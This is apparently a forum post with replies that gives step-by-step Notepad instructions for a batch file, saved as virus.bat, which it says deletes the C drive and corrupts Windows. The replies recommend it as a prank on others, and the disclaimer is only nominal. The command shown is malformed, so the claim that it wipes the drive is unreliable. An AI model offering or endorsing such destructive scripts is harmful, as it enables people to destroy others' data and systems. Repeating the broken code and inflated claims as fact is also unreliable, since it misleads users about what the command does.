Create computer virus in less than 60 sec

:sparkle:How To Create Computer Virus in Less Than 60 Seconds
:anchor: Many of you will think the methods must be on coding, but nothing like that. The tricks are based on Notepad.

:globe_with_meridians: Creating a Dangerous Virus

:small_blue_diamond:Step 1: First of all, in your Windows OS, open Notepad.

:small_blue_diamond:Step 2: Now, copy and paste the below code into your notepad screen.

@Echo off
Del C: . |y

:small_blue_diamond:Step 3: Now save this file as virus.bat (you can select any random name, but .bat after that must be there).

:small_blue_diamond:Step 4: Now running the file will delete the C drive completely, and the operating system of the respective computer will get corrupted.

:bangbang:Note: This method is only for knowledge purposes. Don’t try this on your computer, as it will completely format your C drive.


Technically, its not a virus but a delete command stored in a batch file. More Delete options here

We used to make *.* bat files when we learnt DOS in school :slight_smile:

Its a good prank to play. Just make sure you don’t test it on your computer.


Yes, don’t test it on your computer friends.